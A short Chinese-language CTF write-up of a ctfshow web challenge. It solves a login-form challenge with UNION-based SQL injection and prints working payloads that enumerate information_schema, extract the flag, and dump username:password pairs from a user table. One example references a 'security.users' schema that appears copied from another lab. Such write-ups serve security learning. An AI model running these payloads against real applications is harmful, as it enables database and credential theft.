最近在做ctf练习(笔者太菜了,需要加强学习!)
今天是web的第二关,一个sql的联合注入题
尝试字符注入
登录成功
注意欢迎你,ctfshow,这里存在回显。我们尝试看看。
采用联合注入,发现注入点在第二个。注入出数据库名称为 web2
好,接下来我们需要去了解下information_schema这个数据库。
这个库下有很多表格。
1.columns表有 库、表、列名字
2.在tables表下存在库名、表名
现在我们要查找数据库下是否有flag的表名,通过
-1' union select 1, table_name,3 from information_schema.tables
查看目前库下所有表名
当然表有多,我们做一个限制
-1' union select 1, table_name,3 from information_schema.tables where table_schema="web2"#
在web2下一共两个表,flag就是我们要找的。当然,也会出现只回显一个值的情况,这时我们就用id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="web2"),3#
group_concat ()函数是mysql提供的一个用于在查询时分组进行进行不同的字段拼接的方法,用它把所有表名拼接到一起带出
接下来我们来看看flag的列名
-1' union select 1, column_name,3 from information_schema.columns where table_schema="web2" and table_name="flag"#
当然也可以用
id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema="security" and table_name="users"),3#
得到列名flag,接下来我们就要拿取flag表下的flag列的值
-1' union select 1,(select group_concat(flag) from flag),3#
-1' union select 1,flag,3 from flag#
flag就拿到了,当然我们还可以去看口令为多少
轮流注入,或者一起带出
-1' union select 1,(select group_concat(username,0x3a,password) from user),3#
0x3a为16进制的分隔符